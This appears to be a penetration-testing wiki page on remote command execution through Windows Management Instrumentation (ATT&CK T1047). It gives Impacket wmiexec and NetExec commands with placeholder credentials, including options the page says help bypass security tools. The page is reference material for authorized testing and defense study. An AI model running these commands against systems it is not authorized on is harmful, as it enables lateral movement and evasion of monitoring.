Remote WMI
MITRE ATT&CK™ Windows Management Instrumentation - Technique T1047
Theory
Practice
Remote Process Creation Using WMI
Impacket
#Execute commands over MS-WMI
wmiexec.py <domain>/<username>:<password>@<target>
#SilentCommand, mor likely to bypass security solutions
wmiexec.py -silentcommand <domain>/<username>:<password>@<target> <COMMAND>NetExec
## Check if you can remote WMI
# With SMB port open
nxc wmi <target> -u <username> -p <password>
# With SMB port close, add the flag -d DOMAIN
nxc wmi <target> -u <username> -p <password> -d <domain>
## Execute commands
# wmiexec
nxc wmi <target> -u <username> -p <password> -x whoami
# wmiexec-event
nxc wmi <target> -u <username> -p <password> -x whoami --exec-method wmiexec-event
# wmiexec-event + SilentCommand, mor likely to bypass security solutions
nxc wmi <target> -u <username> -p <password> -x whoami --exec-method wmiexec-event --no-outputRemote MSI Installation Using WMI
Remote Scheduled Tasks Creation Using WMI
Remote Service Creation Using WMI
Lateral Movement via WMI Event Subscription
Resources
Last updated
